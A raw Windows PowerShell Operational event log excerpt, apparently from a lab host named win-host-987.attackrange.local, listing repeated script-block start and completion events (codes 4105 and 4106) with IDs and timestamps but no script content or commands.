Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048592
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048591
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048590
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048588
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048587
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048586
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048585
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048584
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048583
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048582
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048581
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048580
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048579
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048578
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048576
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048575
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048572
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048571
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048570
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048569
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048568
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048567
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048566
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048562
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048561
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048560
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048559
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048558
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048556
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048555
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048554
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048553
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048552
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048551
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048550
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048548
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048546
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048545
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048544
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048542
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048541
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
